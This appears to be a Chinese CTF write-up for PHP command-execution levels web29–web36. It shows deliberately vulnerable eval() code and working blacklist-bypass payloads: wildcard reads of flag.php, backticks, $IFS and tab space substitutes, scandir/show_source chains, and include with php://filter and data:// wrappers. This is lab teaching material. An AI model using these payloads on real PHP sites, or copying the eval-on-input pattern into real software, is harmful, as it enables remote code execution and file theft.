命令执行
web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
preg_match()
是字符串匹配函数,函数用于执行一个正则表达式匹配,模式分隔符后的"i"标记这是一个大小写不敏感的搜索。也就是说我们传入的东西只要不含flag及其大写变形,就可以绕过这个匹配。
可以使用通配符进行匹配
- *可以匹配0或多个字符
- ?可以匹配任意一个字符
- [abcd] 匹配abcd中任何一个字符
- [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符
所以这里的flag可以用f*
或f???
替代,我们让c调用system的cat或nl直接获得flag,或者cp去复制文件,这里执行命令中间的空格需要url编码
?c=system("cat%20f*.php");
?c=system("nl%20f*.php");
?c=system('cp%20fla?.php%201.txt');
以下总结一些常见的过滤绕过
-
反引号``
反引号``即命令替换
是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出 -
单引号、双引号
适用条件:过滤了字符串
放在shell命令中,绕过正则匹配且不影响原意 -
空格绕过
< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09 -
cat绕过
适用条件:过滤了cat
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
(13)grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行 -
liunx通配符绕过
适用条件:过滤了flag,没有过滤 ? *
在linux系统中 有一些通配符匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0 -
include 和伪协议的配合
因为include包含php文件不会在页面显示出来
所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php
,所以考虑使用echo
函数,反引号``有system()的作用,所以:
?c=echo%20`nl%20f*`;
当然还有很多函数可以执行命令
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了cat,flag,system,php,sort,shell
等等,官方wp看不懂,需要以下的知识:
php函数操作:
scandir(’.’):扫描当前目录
localeconv() 函数返回一数组。而数组第一项就是.
(用来绕过.过滤)
pos(),current():返回数组第一个值数组操作函数:
end():数组指针指向最后一位
next(): 数组指针指向下一位
array_reverse(): 将数组颠倒
array_rand(): 随机返回数组的键名
array_flip():交换数组的键和值读取文件函数
file_get_content() :因为et被ban,所以不能使用
readfile()
highlight_file()
show_source()
/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
/?c=echo%09`nl%09f*`;
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分号用?>代替,但是过滤了括号就不能用带有括号的函数,所以使用不需要括号的include
,
php伪协议通常用于文件包含中,php中文件包含的函数有很多,比如 include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile
php支持的伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
协议参数
名称 | 描述 |
---|---|
resource=<要过滤的数据流> |
这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
write=<写链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(| )分隔。 |
<;两个链的筛选列表> |
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
利用filter协议读文件,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
而使用的convert.base64-encode,就是一种过滤器。
/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web33
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了引号,不影响上题的payload。如果include被过滤了,可以用require来代替
web34
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了冒号,但是伪协议的冒号在逃逸的参数1里,不能被过滤,同样的payload
web35
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
又多过滤了左尖括号和双引号和等于,继续使用上一个payload。
还可以用data协议
/?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
web36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了数字,把逃逸参数的名字换成字母就可以了
Comments NOTHING